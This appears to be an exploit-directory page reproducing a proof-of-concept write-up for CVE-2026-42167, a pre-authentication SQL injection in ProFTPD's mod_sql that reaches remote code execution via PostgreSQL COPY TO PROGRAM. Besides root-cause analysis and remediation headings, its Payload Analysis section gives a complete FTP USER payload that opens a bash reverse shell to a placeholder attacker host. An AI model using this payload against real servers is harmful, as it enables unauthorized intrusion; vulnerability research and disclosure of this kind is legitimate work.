Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-42167-PoC — Pre-Auth RCE in ProFTPD via mod_sql is_escaped_text() bypass (CVE-2026-42167) | Kitploit
Tools/GitHubGitHub/sl4ck0th/cve-2026-42167-poc
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationRed Teaming
GitHubsl4ck0th/cve-2026-42167-poc

CVE-2026-42167-PoC

Pre-Auth RCE in ProFTPD via mod_sql is_escaped_text() bypass (CVE-2026-42167)

View Repository
105 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-42167 POC

Pre-Authentication Remote Code Execution in ProFTPD via mod_sql SQL Injection

Author: Van Glenndon Enad

Original Discovery: ZeroPath

Published: May 1, 2026

Severity: Critical

CVSS v3.1 Score: 8.1

CVSS v3.1 Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

CVSS v2 Score: 7.6

CVSS v2 Vector: CVSS2#AV:N/AC:H/Au:N/C:C/I:C/A:C

CWE: CWE-89 (SQL Injection), CWE-78 (OS Command Injection)


Table of Contents

  1. Executive Summary
  2. Affected Software
  3. Vulnerability Description
  4. Root Cause Analysis
  5. Prerequisites
  6. Exploit Chain
  7. Payload Analysis
  8. Proof of Concept
  9. Impact
  10. Remediation
  11. References
  12. Disclosure Timeline

Executive Summary

CVE-2026-42167 is a critical pre-authentication SQL injection vulnerability in ProFTPD's mod_sql extension module. A logic flaw in the is_escaped_text() function allows an unauthenticated attacker to bypass SQL character escaping by crafting a USER command whose value satisfies a flawed "already-escaped" heuristic. The injected SQL is passed directly to the backend database via PQexec(), which supports stacked queries.

When the ProFTPD database role is a PostgreSQL superuser — a common misconfiguration in containerized deployments — the injection reaches PostgreSQL's COPY TO PROGRAM directive, resulting in unauthenticated OS-level Remote Code Execution as the postgres system user. No credentials, no prior access, and no user interaction are required.


Affected Software

ComponentVersion
ProFTPD≤ 1.3.9
Modulemod_sql + mod_sql_postgres
Fixed Version1.3.9a (released April 27, 2026)
BackendPostgreSQL (RCE); MySQL / SQLite (auth bypass only)

ProFTPD is a widely deployed open-source FTP server. According to Shodan, over 160,000 publicly accessible ProFTPD instances exist on the internet. The mod_sql module is commonly enabled in shared hosting control panels including cPanel, Plesk, DirectAdmin, Webmin, and ISPConfig.


Vulnerability Description

ProFTPD's mod_sql module supports SQL-backed authentication and activity logging. Log format strings can include substitution variables such as %U (username), %r (remote host), and %m (FTP command). These variables are expanded at runtime and inserted into SQL queries executed against the configured backend.

A typical vulnerable configuration:

LoadModule mod_sql.c
LoadModule mod_sql_postgres.c

SQLEngine on
SQLBackend postgres
SQLAuthTypes Plaintext
SQLConnectInfo dbname@localhost dbuser dbpassword
SQLNamedQuery log_activity INSERT "'%U', '%r', '%m'" activity_log
SQLLog * log_activity
SQLLog ERR_* log_activity

In this configuration, the value supplied in the FTP USER command is substituted for %U and included directly in a SQL INSERT statement. Before insertion, the value is passed through is_escaped_text() to determine whether it needs escaping. This function contains a critical logical flaw.


Root Cause Analysis

The Flawed is_escaped_text() Function

Located in contrib/mod_sql.c, the function applies the following heuristic to decide if a string is "already escaped":

static int is_escaped_text(const char *s) {
  size_t slen = strlen(s);

  /* Assume the string is escaped if:
   *   1. It starts with a single quote
   *   2. It ends with a single quote
   *   3. It contains no internal single quotes
   */
  if (slen >= 2 &&
      s[0] == '\'' &&
      s[slen - 1] == '\'' &&
      strchr(s + 1, '\'') == (s + slen - 1)) {
    return TRUE;  /* skip escaping */
  }
  return FALSE;
}

When this function returns TRUE, sql_resolved_append_text() (line 777) inserts the raw, unescaped value directly into the query string. The value is then executed by PQexec() in contrib/mod_sql_postgres.c (line 1146), which supports stacked (multi-statement) queries.

Why the Heuristic Fails

The heuristic was likely intended to detect strings that were already surrounded by SQL string delimiters. However, it makes no attempt to verify that the inner content is safe — only that no additional single quotes are present. This means any payload that:

  • Begins with '
  • Ends with '
  • Uses no single quotes internally (e.g., uses PostgreSQL $$ dollar-quoting instead)

...will pass the check and be injected verbatim into the SQL query.

Injection Flow

FTP Client                ProFTPD                  PostgreSQL
    │                         │                         │
    │── USER '<payload>'  ──▶ │                         │
    │                         │ expand %U = '<payload>' │
    │                         │ is_escaped_text() = TRUE│
    │                         │ skip escaping           │
    │                         │── INSERT INTO activity  │
    │                         │   VALUES ('<payload>',  │
    │                         │   ...) ──────────────▶  │
    │                         │                         │ execute stacked SQL
    │                         │                         │ COPY TO PROGRAM
    │                         │                         │── shell command ──▶ OS

Prerequisites

RequirementNotes
mod_sql enabled with SQL loggingMust log a pre-auth variable such as %U
PostgreSQL backendRequired for COPY TO PROGRAM RCE; MySQL/SQLite still allow auth bypass
DB role is PostgreSQL superuserCOPY TO PROGRAM is restricted to superusers or members of pg_execute_server_program
bash available on DB hostRequired for /dev/tcp reverse shell delivery
Network reachabilityPostgreSQL container must be able to reach attacker on the listener port

The superuser condition is frequently met in containerized deployments where the ProFTPD DB user is created via POSTGRES_USER=... in the official PostgreSQL Docker image, or when an administrator grants the ProFTPD role ownership of the database.


Exploit Chain

Step 1: Attacker sends crafted USER command (pre-auth, no credentials needed)
        │
        ▼
Step 2: ProFTPD expands %U with attacker-controlled value
        │
        ▼
Step 3: is_escaped_text() bypass — raw SQL passes through unescaped
        │
        ▼
Step 4: PQexec() executes stacked query against PostgreSQL
        │
        ▼
Step 5: COPY TO PROGRAM executes attacker shell command as postgres OS user
        │
        ▼
Step 6: Reverse shell / file exfiltration delivered to attacker

Payload Analysis

The injection payload is delivered via the FTP USER command:

USER ', null, null); COPY (SELECT $$x$$) TO PROGRAM $$bash -c $$bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1$$$$; --'

Bypass Condition Verification

ConditionSatisfied?Reason
Starts with '✅First character is '
Ends with '✅Last character is '
No inner single quotes✅Inner strings use $$ dollar-quoting

Payload Breakdown

SegmentPurpose
', null, null);Closes the original INSERT statement cleanly
COPY (SELECT $$x$$) TO PROGRAMStacked query using PostgreSQL's COPY TO PROGRAM
$$bash -c ...$$Shell command using $$ dollar-quoting to avoid single quotes
; --'Terminates the stacked query; --' comments out remainder and provides the closing ' for the bypass

Proof of Concept

Warning: This PoC is provided for educational and authorized testing purposes only. Do not use against systems you do not own or have explicit written permission to test.

Sample Usage:

Download Tool